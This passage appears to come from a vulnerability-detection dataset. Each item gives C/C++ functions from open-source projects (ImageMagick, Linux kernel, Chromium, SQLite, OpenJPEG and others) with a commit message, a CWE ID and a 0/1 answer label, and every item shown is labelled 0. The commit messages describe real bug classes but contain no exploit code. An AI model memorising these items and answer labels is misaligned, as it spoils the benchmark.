M11[channel]/(M20[channel]-M02[channel]+MagickEpsilon)));
if (fabs(M11[channel]) < MagickEpsilon)
{
if (fabs(M20[channel]-M02[channel]) < MagickEpsilon)
channel_moments[channel].ellipse_angle+=0.0;
else
if ((M20[channel]-M02[channel]) < 0.0)
channel_moments[channel].ellipse_angle+=90.0;
else
channel_moments[channel].ellipse_angle+=0.0;
}
else
if (M11[channel] < 0.0)
{
if (fabs(M20[channel]-M02[channel]) < MagickEpsilon)
channel_moments[channel].ellipse_angle+=0.0;
else
if ((M20[channel]-M02[channel]) < 0.0)
channel_moments[channel].ellipse_angle+=90.0;
else
channel_moments[channel].ellipse_angle+=180.0;
}
else
{
if (fabs(M20[channel]-M02[channel]) < MagickEpsilon)
channel_moments[channel].ellipse_angle+=0.0;
else
if ((M20[channel]-M02[channel]) < 0.0)
channel_moments[channel].ellipse_angle+=90.0;
else
channel_moments[channel].ellipse_angle+=0.0;
}
channel_moments[channel].ellipse_eccentricity=sqrt(1.0-(
channel_moments[channel].ellipse_axis.y/
(channel_moments[channel].ellipse_axis.x+MagickEpsilon)));
channel_moments[channel].ellipse_intensity=M00[channel]/
(MagickPI*channel_moments[channel].ellipse_axis.x*
channel_moments[channel].ellipse_axis.y+MagickEpsilon);
}
for (channel=0; channel <= CompositeChannels; channel++)
{
/*
Normalize image moments.
*/
M10[channel]=0.0;
M01[channel]=0.0;
M11[channel]/=pow(M00[channel],1.0+(1.0+1.0)/2.0);
M20[channel]/=pow(M00[channel],1.0+(2.0+0.0)/2.0);
M02[channel]/=pow(M00[channel],1.0+(0.0+2.0)/2.0);
M21[channel]/=pow(M00[channel],1.0+(2.0+1.0)/2.0);
M12[channel]/=pow(M00[channel],1.0+(1.0+2.0)/2.0);
M22[channel]/=pow(M00[channel],1.0+(2.0+2.0)/2.0);
M30[channel]/=pow(M00[channel],1.0+(3.0+0.0)/2.0);
M03[channel]/=pow(M00[channel],1.0+(0.0+3.0)/2.0);
M00[channel]=1.0;
}
for (channel=0; channel <= CompositeChannels; channel++)
{
/*
Compute Hu invariant moments.
*/
channel_moments[channel].I[0]=M20[channel]+M02[channel];
channel_moments[channel].I[1]=(M20[channel]-M02[channel])*
(M20[channel]-M02[channel])+4.0*M11[channel]*M11[channel];
channel_moments[channel].I[2]=(M30[channel]-3.0*M12[channel])*
(M30[channel]-3.0*M12[channel])+(3.0*M21[channel]-M03[channel])*
(3.0*M21[channel]-M03[channel]);
channel_moments[channel].I[3]=(M30[channel]+M12[channel])*
(M30[channel]+M12[channel])+(M21[channel]+M03[channel])*
(M21[channel]+M03[channel]);
channel_moments[channel].I[4]=(M30[channel]-3.0*M12[channel])*
(M30[channel]+M12[channel])*((M30[channel]+M12[channel])*
(M30[channel]+M12[channel])-3.0*(M21[channel]+M03[channel])*
(M21[channel]+M03[channel]))+(3.0*M21[channel]-M03[channel])*
(M21[channel]+M03[channel])*(3.0*(M30[channel]+M12[channel])*
(M30[channel]+M12[channel])-(M21[channel]+M03[channel])*
(M21[channel]+M03[channel]));
channel_moments[channel].I[5]=(M20[channel]-M02[channel])*
((M30[channel]+M12[channel])*(M30[channel]+M12[channel])-
(M21[channel]+M03[channel])*(M21[channel]+M03[channel]))+
4.0*M11[channel]*(M30[channel]+M12[channel])*(M21[channel]+M03[channel]);
channel_moments[channel].I[6]=(3.0*M21[channel]-M03[channel])*
(M30[channel]+M12[channel])*((M30[channel]+M12[channel])*
(M30[channel]+M12[channel])-3.0*(M21[channel]+M03[channel])*
(M21[channel]+M03[channel]))-(M30[channel]-3*M12[channel])*
(M21[channel]+M03[channel])*(3.0*(M30[channel]+M12[channel])*
(M30[channel]+M12[channel])-(M21[channel]+M03[channel])*
(M21[channel]+M03[channel]));
channel_moments[channel].I[7]=M11[channel]*((M30[channel]+M12[channel])*
(M30[channel]+M12[channel])-(M03[channel]+M21[channel])*
(M03[channel]+M21[channel]))-(M20[channel]-M02[channel])*
(M30[channel]+M12[channel])*(M03[channel]+M21[channel]);
}
if (y < (ssize_t) image->rows)
channel_moments=(ChannelMoments *) RelinquishMagickMemory(channel_moments);
return(channel_moments);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1615
CWE ID: CWE-119
| 0
| 88,929
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void __blkg_release_rcu(struct rcu_head *rcu_head)
{
struct blkcg_gq *blkg = container_of(rcu_head, struct blkcg_gq, rcu_head);
/* release the blkcg and parent blkg refs this blkg has been holding */
css_put(&blkg->blkcg->css);
if (blkg->parent)
blkg_put(blkg->parent);
wb_congested_put(blkg->wb_congested);
blkg_free(blkg);
}
Commit Message: blkcg: fix double free of new_blkg in blkcg_init_queue
If blkg_create fails, new_blkg passed as an argument will
be freed by blkg_create, so there is no need to free it again.
Signed-off-by: Hou Tao <houtao1@huawei.com>
Signed-off-by: Jens Axboe <axboe@fb.com>
CWE ID: CWE-415
| 0
| 84,115
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: _XcursorReadComment (XcursorFile *file,
XcursorFileHeader *fileHeader,
int toc)
{
XcursorChunkHeader chunkHeader;
XcursorUInt length;
XcursorComment *comment;
if (!file || !fileHeader)
return NULL;
/* read chunk header */
if (!_XcursorFileReadChunkHeader (file, fileHeader, toc, &chunkHeader))
return NULL;
/* read extra comment header fields */
if (!_XcursorReadUInt (file, &length))
return NULL;
comment = XcursorCommentCreate (chunkHeader.subtype, length);
if (!comment)
return NULL;
if (!_XcursorReadBytes (file, comment->comment, length))
{
XcursorCommentDestroy (comment);
return NULL;
}
comment->comment[length] = '\0';
return comment;
}
Commit Message:
CWE ID: CWE-190
| 0
| 1,422
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::SimulateImeFinishComposingText(bool keep_selection) {
GetMainFrameRenderWidget()->OnImeFinishComposingText(keep_selection);
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 139,864
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PassRefPtrWillBeRawPtr<ClassCollection> ContainerNode::getElementsByClassName(const AtomicString& classNames)
{
return ensureCachedCollection<ClassCollection>(ClassCollectionType, classNames);
}
Commit Message: Fix an optimisation in ContainerNode::notifyNodeInsertedInternal
R=tkent@chromium.org
BUG=544020
Review URL: https://codereview.chromium.org/1420653003
Cr-Commit-Position: refs/heads/master@{#355240}
CWE ID:
| 0
| 125,076
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int blobReadWrite(
sqlite3_blob *pBlob,
void *z,
int n,
int iOffset,
int (*xCall)(BtCursor*, u32, u32, void*)
){
int rc;
Incrblob *p = (Incrblob *)pBlob;
Vdbe *v;
sqlite3 *db;
if( p==0 ) return SQLITE_MISUSE_BKPT;
db = p->db;
sqlite3_mutex_enter(db->mutex);
v = (Vdbe*)p->pStmt;
if( n<0 || iOffset<0 || ((sqlite3_int64)iOffset+n)>p->nByte ){
/* Request is out of range. Return a transient error. */
rc = SQLITE_ERROR;
}else if( v==0 ){
/* If there is no statement handle, then the blob-handle has
** already been invalidated. Return SQLITE_ABORT in this case.
*/
rc = SQLITE_ABORT;
}else{
/* Call either BtreeData() or BtreePutData(). If SQLITE_ABORT is
** returned, clean-up the statement handle.
*/
assert( db == v->db );
sqlite3BtreeEnterCursor(p->pCsr);
#ifdef SQLITE_ENABLE_PREUPDATE_HOOK
if( xCall==sqlite3BtreePutData && db->xPreUpdateCallback ){
/* If a pre-update hook is registered and this is a write cursor,
** invoke it here.
**
** TODO: The preupdate-hook is passed SQLITE_DELETE, even though this
** operation should really be an SQLITE_UPDATE. This is probably
** incorrect, but is convenient because at this point the new.* values
** are not easily obtainable. And for the sessions module, an
** SQLITE_UPDATE where the PK columns do not change is handled in the
** same way as an SQLITE_DELETE (the SQLITE_DELETE code is actually
** slightly more efficient). Since you cannot write to a PK column
** using the incremental-blob API, this works. For the sessions module
** anyhow.
*/
sqlite3_int64 iKey;
iKey = sqlite3BtreeIntegerKey(p->pCsr);
sqlite3VdbePreUpdateHook(
v, v->apCsr[0], SQLITE_DELETE, p->zDb, p->pTab, iKey, -1
);
}
#endif
rc = xCall(p->pCsr, iOffset+p->iOffset, n, z);
sqlite3BtreeLeaveCursor(p->pCsr);
if( rc==SQLITE_ABORT ){
sqlite3VdbeFinalize(v);
p->pStmt = 0;
}else{
v->rc = rc;
}
}
sqlite3Error(db, rc);
rc = sqlite3ApiExit(db, rc);
sqlite3_mutex_leave(db->mutex);
return rc;
}
Commit Message: sqlite: backport bugfixes for dbfuzz2
Bug: 952406
Change-Id: Icbec429742048d6674828726c96d8e265c41b595
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1568152
Reviewed-by: Chris Mumford <cmumford@google.com>
Commit-Queue: Darwin Huang <huangdarwin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#651030}
CWE ID: CWE-190
| 0
| 151,663
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void pmcraid_release_chrdev(struct pmcraid_instance *pinstance)
{
pmcraid_release_minor(MINOR(pinstance->cdev.dev));
device_destroy(pmcraid_class,
MKDEV(pmcraid_major, MINOR(pinstance->cdev.dev)));
cdev_del(&pinstance->cdev);
}
Commit Message: [SCSI] pmcraid: reject negative request size
There's a code path in pmcraid that can be reached via device ioctl that
causes all sorts of ugliness, including heap corruption or triggering the
OOM killer due to consecutive allocation of large numbers of pages.
First, the user can call pmcraid_chr_ioctl(), with a type
PMCRAID_PASSTHROUGH_IOCTL. This calls through to
pmcraid_ioctl_passthrough(). Next, a pmcraid_passthrough_ioctl_buffer
is copied in, and the request_size variable is set to
buffer->ioarcb.data_transfer_length, which is an arbitrary 32-bit
signed value provided by the user. If a negative value is provided
here, bad things can happen. For example,
pmcraid_build_passthrough_ioadls() is called with this request_size,
which immediately calls pmcraid_alloc_sglist() with a negative size.
The resulting math on allocating a scatter list can result in an
overflow in the kzalloc() call (if num_elem is 0, the sglist will be
smaller than expected), or if num_elem is unexpectedly large the
subsequent loop will call alloc_pages() repeatedly, a high number of
pages will be allocated and the OOM killer might be invoked.
It looks like preventing this value from being negative in
pmcraid_ioctl_passthrough() would be sufficient.
Signed-off-by: Dan Rosenberg <drosenberg@vsecurity.com>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: James Bottomley <JBottomley@Parallels.com>
CWE ID: CWE-189
| 0
| 26,492
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: png_write_gAMA(png_structp png_ptr, double file_gamma)
{
#ifdef PNG_USE_LOCAL_ARRAYS
PNG_gAMA;
#endif
png_uint_32 igamma;
png_byte buf[4];
png_debug(1, "in png_write_gAMA");
/* file_gamma is saved in 1/100,000ths */
igamma = (png_uint_32)(file_gamma * 100000.0 + 0.5);
png_save_uint_32(buf, igamma);
png_write_chunk(png_ptr, (png_bytep)png_gAMA, buf, (png_size_t)4);
}
Commit Message: third_party/libpng: update to 1.2.54
TBR=darin@chromium.org
BUG=560291
Review URL: https://codereview.chromium.org/1467263003
Cr-Commit-Position: refs/heads/master@{#362298}
CWE ID: CWE-119
| 0
| 131,459
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bson_iter_int32 (const bson_iter_t *iter) /* IN */
{
BSON_ASSERT (iter);
if (ITER_TYPE (iter) == BSON_TYPE_INT32) {
return bson_iter_int32_unsafe (iter);
}
return 0;
}
Commit Message: Fix for CVE-2018-16790 -- Verify bounds before binary length read.
As reported here: https://jira.mongodb.org/browse/CDRIVER-2819,
a heap overread occurs due a failure to correctly verify data
bounds.
In the original check, len - o returns the data left including the
sizeof(l) we just read. Instead, the comparison should check
against the data left NOT including the binary int32, i.e. just
subtype (byte*) instead of int32 subtype (byte*).
Added in test for corrupted BSON example.
CWE ID: CWE-125
| 0
| 77,841
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool DownloadItemImpl::IsInterrupted() const {
return (state_ == INTERRUPTED);
}
Commit Message: Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
R=asanka@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 106,125
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void dwc3_gadget_hibernation_interrupt(struct dwc3 *dwc,
unsigned int evtinfo)
{
unsigned int is_ss = evtinfo & BIT(4);
/*
* WORKAROUND: DWC3 revison 2.20a with hibernation support
* have a known issue which can cause USB CV TD.9.23 to fail
* randomly.
*
* Because of this issue, core could generate bogus hibernation
* events which SW needs to ignore.
*
* Refers to:
*
* STAR#9000546576: Device Mode Hibernation: Issue in USB 2.0
* Device Fallback from SuperSpeed
*/
if (is_ss ^ (dwc->speed == USB_SPEED_SUPER))
return;
/* enter hibernation here */
}
Commit Message: usb: dwc3: gadget: never call ->complete() from ->ep_queue()
This is a requirement which has always existed but, somehow, wasn't
reflected in the documentation and problems weren't found until now
when Tuba Yavuz found a possible deadlock happening between dwc3 and
f_hid. She described the situation as follows:
spin_lock_irqsave(&hidg->write_spinlock, flags); // first acquire
/* we our function has been disabled by host */
if (!hidg->req) {
free_ep_req(hidg->in_ep, hidg->req);
goto try_again;
}
[...]
status = usb_ep_queue(hidg->in_ep, hidg->req, GFP_ATOMIC);
=>
[...]
=> usb_gadget_giveback_request
=>
f_hidg_req_complete
=>
spin_lock_irqsave(&hidg->write_spinlock, flags); // second acquire
Note that this happens because dwc3 would call ->complete() on a
failed usb_ep_queue() due to failed Start Transfer command. This is,
anyway, a theoretical situation because dwc3 currently uses "No
Response Update Transfer" command for Bulk and Interrupt endpoints.
It's still good to make this case impossible to happen even if the "No
Reponse Update Transfer" command is changed.
Reported-by: Tuba Yavuz <tuba@ece.ufl.edu>
Signed-off-by: Felipe Balbi <felipe.balbi@linux.intel.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 88,669
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::RenderWidgetDeleted(
RenderWidgetHostImpl* render_widget_host) {
if (is_being_destroyed_) {
return;
}
std::set<RenderWidgetHostImpl*>::iterator iter =
created_widgets_.find(render_widget_host);
if (iter != created_widgets_.end())
created_widgets_.erase(iter);
if (render_widget_host &&
render_widget_host->GetRoutingID() == fullscreen_widget_routing_id_) {
if (delegate_ && delegate_->EmbedsFullscreenWidget())
delegate_->ToggleFullscreenModeForTab(this, false);
FOR_EACH_OBSERVER(WebContentsObserver,
observers_,
DidDestroyFullscreenWidget(
fullscreen_widget_routing_id_));
fullscreen_widget_routing_id_ = MSG_ROUTING_NONE;
}
}
Commit Message: Cancel JavaScript dialogs when an interstitial appears.
BUG=295695
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/24360011
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@225026 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 110,759
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void perContextEnabledRuntimeEnabledLongAttributeAttributeGetterCallback(v8::Local<v8::String>, const v8::PropertyCallbackInfo<v8::Value>& info)
{
TRACE_EVENT_SET_SAMPLING_STATE("Blink", "DOMGetter");
TestObjectPythonV8Internal::perContextEnabledRuntimeEnabledLongAttributeAttributeGetter(info);
TRACE_EVENT_SET_SAMPLING_STATE("V8", "V8Execution");
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 122,495
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: AVCodecParameters *avcodec_parameters_alloc(void)
{
AVCodecParameters *par = av_mallocz(sizeof(*par));
if (!par)
return NULL;
codec_parameters_reset(par);
return par;
}
Commit Message: avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-787
| 0
| 66,990
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2DecoderPassthroughImpl::RestoreAllTextureUnitAndSamplerBindings(
const ContextState* prev_state) const {}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 141,815
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static OPJ_BOOL bmp_read_rle8_data(FILE* IN, OPJ_UINT8* pData,
OPJ_UINT32 stride, OPJ_UINT32 width, OPJ_UINT32 height)
{
OPJ_UINT32 x, y, written;
OPJ_UINT8 *pix;
const OPJ_UINT8 *beyond;
beyond = pData + stride * height;
pix = pData;
x = y = written = 0U;
while (y < height) {
int c = getc(IN);
if (c == EOF) {
return OPJ_FALSE;
}
if (c) {
int j, c1_int;
OPJ_UINT8 c1;
c1_int = getc(IN);
if (c1_int == EOF) {
return OPJ_FALSE;
}
c1 = (OPJ_UINT8)c1_int;
for (j = 0; (j < c) && (x < width) &&
((OPJ_SIZE_T)pix < (OPJ_SIZE_T)beyond); j++, x++, pix++) {
*pix = c1;
written++;
}
} else {
c = getc(IN);
if (c == EOF) {
return OPJ_FALSE;
}
if (c == 0x00) { /* EOL */
x = 0;
++y;
pix = pData + y * stride + x;
} else if (c == 0x01) { /* EOP */
break;
} else if (c == 0x02) { /* MOVE by dxdy */
c = getc(IN);
if (c == EOF) {
return OPJ_FALSE;
}
x += (OPJ_UINT32)c;
c = getc(IN);
if (c == EOF) {
return OPJ_FALSE;
}
y += (OPJ_UINT32)c;
pix = pData + y * stride + x;
} else { /* 03 .. 255 */
int j;
for (j = 0; (j < c) && (x < width) &&
((OPJ_SIZE_T)pix < (OPJ_SIZE_T)beyond); j++, x++, pix++) {
int c1_int;
OPJ_UINT8 c1;
c1_int = getc(IN);
if (c1_int == EOF) {
return OPJ_FALSE;
}
c1 = (OPJ_UINT8)c1_int;
*pix = c1;
written++;
}
if ((OPJ_UINT32)c & 1U) { /* skip padding byte */
c = getc(IN);
if (c == EOF) {
return OPJ_FALSE;
}
}
}
}
}/* while() */
if (written != width * height) {
fprintf(stderr, "warning, image's actual size does not match advertized one\n");
return OPJ_FALSE;
}
return OPJ_TRUE;
}
Commit Message: convertbmp: detect invalid file dimensions early
width/length dimensions read from bmp headers are not necessarily
valid. For instance they may have been maliciously set to very large
values with the intention to cause DoS (large memory allocation, stack
overflow). In these cases we want to detect the invalid size as early
as possible.
This commit introduces a counter which verifies that the number of
written bytes corresponds to the advertized width/length.
See commit 8ee335227bbc for details.
Signed-off-by: Young Xiao <YangX92@hotmail.com>
CWE ID: CWE-400
| 0
| 96,752
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: base::string16 SaveCardBubbleControllerImpl::GetCvcEnteredByUser() const {
DCHECK(!cvc_entered_by_user_.empty());
return cvc_entered_by_user_;
}
Commit Message: [autofill] Avoid duplicate instances of the SaveCardBubble.
autofill::SaveCardBubbleControllerImpl::ShowBubble() expects
(via DCHECK) to only be called when the save card bubble is
not already visible. This constraint is violated if the user
clicks multiple times on a submit button.
If the underlying page goes away, the last SaveCardBubbleView
created by the controller will be automatically cleaned up,
but any others are left visible on the screen... holding a
refence to a possibly-deleted controller.
This CL early exits the ShowBubbleFor*** and ReshowBubble logic
if the bubble is already visible.
BUG=708819
Review-Url: https://codereview.chromium.org/2862933002
Cr-Commit-Position: refs/heads/master@{#469768}
CWE ID: CWE-416
| 0
| 136,998
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: CMD_FUNC(m_sasl)
{
if (!SASL_SERVER || MyClient(sptr) || (parc < 4) || !parv[4])
return 0;
if (!stricmp(parv[1], me.name))
{
aClient *target_p;
/* is the PUID valid? */
if ((target_p = decode_puid(parv[2])) == NULL)
return 0;
if (target_p->user == NULL)
make_user(target_p);
/* reject if another SASL agent is answering */
if (*target_p->local->sasl_agent && stricmp(sptr->name, target_p->local->sasl_agent))
return 0;
else
strlcpy(target_p->local->sasl_agent, sptr->name, sizeof(target_p->local->sasl_agent));
if (*parv[3] == 'C')
sendto_one(target_p, "AUTHENTICATE %s", parv[4]);
else if (*parv[3] == 'D')
{
if (*parv[4] == 'F')
sendto_one(target_p, err_str(ERR_SASLFAIL), me.name, BadPtr(target_p->name) ? "*" : target_p->name);
else if (*parv[4] == 'S')
{
target_p->local->sasl_complete++;
sendto_one(target_p, err_str(RPL_SASLSUCCESS), me.name, BadPtr(target_p->name) ? "*" : target_p->name);
}
*target_p->local->sasl_agent = '\0';
}
else if (*parv[3] == 'M')
sendto_one(target_p, err_str(RPL_SASLMECHS), me.name, BadPtr(target_p->name) ? "*" : target_p->name, parv[4]);
return 0;
}
/* not for us; propagate. */
sendto_server(cptr, 0, 0, ":%s SASL %s %s %c %s %s",
sptr->name, parv[1], parv[2], *parv[3], parv[4], parc > 5 ? parv[5] : "");
return 0;
}
Commit Message: Fix AUTHENTICATE bug
CWE ID: CWE-287
| 0
| 73,710
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: gst_qtdemux_push_event (GstQTDemux * qtdemux, GstEvent * event)
{
guint n;
GST_DEBUG_OBJECT (qtdemux, "pushing %s event on all source pads",
GST_EVENT_TYPE_NAME (event));
for (n = 0; n < qtdemux->n_streams; n++) {
GstPad *pad;
if ((pad = qtdemux->streams[n]->pad))
gst_pad_push_event (pad, gst_event_ref (event));
}
gst_event_unref (event);
}
Commit Message:
CWE ID: CWE-119
| 0
| 4,956
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int perf_parse_file(config_fn_t fn, void *data)
{
int comment = 0;
int baselen = 0;
static char var[MAXNAME];
/* U+FEFF Byte Order Mark in UTF8 */
static const unsigned char *utf8_bom = (unsigned char *) "\xef\xbb\xbf";
const unsigned char *bomptr = utf8_bom;
for (;;) {
int c = get_next_char();
if (bomptr && *bomptr) {
/* We are at the file beginning; skip UTF8-encoded BOM
* if present. Sane editors won't put this in on their
* own, but e.g. Windows Notepad will do it happily. */
if ((unsigned char) c == *bomptr) {
bomptr++;
continue;
} else {
/* Do not tolerate partial BOM. */
if (bomptr != utf8_bom)
break;
/* No BOM at file beginning. Cool. */
bomptr = NULL;
}
}
if (c == '\n') {
if (config_file_eof)
return 0;
comment = 0;
continue;
}
if (comment || isspace(c))
continue;
if (c == '#' || c == ';') {
comment = 1;
continue;
}
if (c == '[') {
baselen = get_base_var(var);
if (baselen <= 0)
break;
var[baselen++] = '.';
var[baselen] = 0;
continue;
}
if (!isalpha(c))
break;
var[baselen] = tolower(c);
if (get_value(fn, data, var, baselen+1) < 0)
break;
}
die("bad config file line %d in %s", config_linenr, config_file_name);
}
Commit Message: perf tools: do not look at ./config for configuration
In addition to /etc/perfconfig and $HOME/.perfconfig, perf looks for
configuration in the file ./config, imitating git which looks at
$GIT_DIR/config. If ./config is not a perf configuration file, it
fails, or worse, treats it as a configuration file and changes behavior
in some unexpected way.
"config" is not an unusual name for a file to be lying around and perf
does not have a private directory dedicated for its own use, so let's
just stop looking for configuration in the cwd. Callers needing
context-sensitive configuration can use the PERF_CONFIG environment
variable.
Requested-by: Christian Ohm <chr.ohm@gmx.net>
Cc: 632923@bugs.debian.org
Cc: Ben Hutchings <ben@decadent.org.uk>
Cc: Christian Ohm <chr.ohm@gmx.net>
Cc: Ingo Molnar <mingo@elte.hu>
Cc: Paul Mackerras <paulus@samba.org>
Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
Link: http://lkml.kernel.org/r/20110805165838.GA7237@elie.gateway.2wire.net
Signed-off-by: Jonathan Nieder <jrnieder@gmail.com>
Signed-off-by: Arnaldo Carvalho de Melo <acme@redhat.com>
CWE ID:
| 0
| 34,845
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GF_Err minf_Read(GF_Box *s, GF_BitStream *bs)
{
GF_MediaInformationBox *ptr = (GF_MediaInformationBox *)s;
GF_Err e;
e = gf_isom_box_array_read(s, bs, minf_AddBox);
if (! ptr->dataInformation) {
GF_Box *dinf, *dref, *url;
Bool dump_mode = GF_FALSE;
GF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, ("[iso file] Missing DataInformationBox\n"));
dinf = gf_isom_box_new(GF_ISOM_BOX_TYPE_DINF);
if (!dinf) return GF_OUT_OF_MEM;
if (ptr->InfoHeader && gf_list_find(ptr->other_boxes, ptr->InfoHeader)>=0) dump_mode = GF_TRUE;
if (ptr->sampleTable && gf_list_find(ptr->other_boxes, ptr->sampleTable)>=0) dump_mode = GF_TRUE;
ptr->dataInformation = (GF_DataInformationBox *)dinf;
dref = gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);
if (!dref) return GF_OUT_OF_MEM;
e = dinf_AddBox(dinf, dref);
url = gf_isom_box_new(GF_ISOM_BOX_TYPE_URL);
if (!url) return GF_OUT_OF_MEM;
((GF_FullBox*)url)->flags = 1;
e = gf_isom_box_add_default(dref, url);
if (dump_mode) {
gf_list_add(ptr->other_boxes, ptr->dataInformation);
if (!dinf->other_boxes) dinf->other_boxes = gf_list_new();
gf_list_add(dinf->other_boxes, dref);
}
}
return e;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
| 0
| 80,249
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void vmx_leave_nested(struct kvm_vcpu *vcpu)
{
if (is_guest_mode(vcpu))
nested_vmx_vmexit(vcpu, -1, 0, 0);
free_nested(to_vmx(vcpu));
}
Commit Message: x86,kvm,vmx: Preserve CR4 across VM entry
CR4 isn't constant; at least the TSD and PCE bits can vary.
TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks
like it's correct.
This adds a branch and a read from cr4 to each vm entry. Because it is
extremely likely that consecutive entries into the same vcpu will have
the same host cr4 value, this fixes up the vmcs instead of restoring cr4
after the fact. A subsequent patch will add a kernel-wide cr4 shadow,
reducing the overhead in the common case to just two memory reads and a
branch.
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Acked-by: Paolo Bonzini <pbonzini@redhat.com>
Cc: stable@vger.kernel.org
Cc: Petr Matousek <pmatouse@redhat.com>
Cc: Gleb Natapov <gleb@kernel.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-399
| 0
| 37,269
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebRTCAudioDeviceTest::TearDown() {
SetAudioUtilCallback(NULL);
ChildProcess::current()->main_thread()->message_loop()->RunAllPending();
ChildProcess::current()->io_message_loop()->PostTask(FROM_HERE,
base::Bind(&WebRTCAudioDeviceTest::DestroyChannel,
base::Unretained(this)));
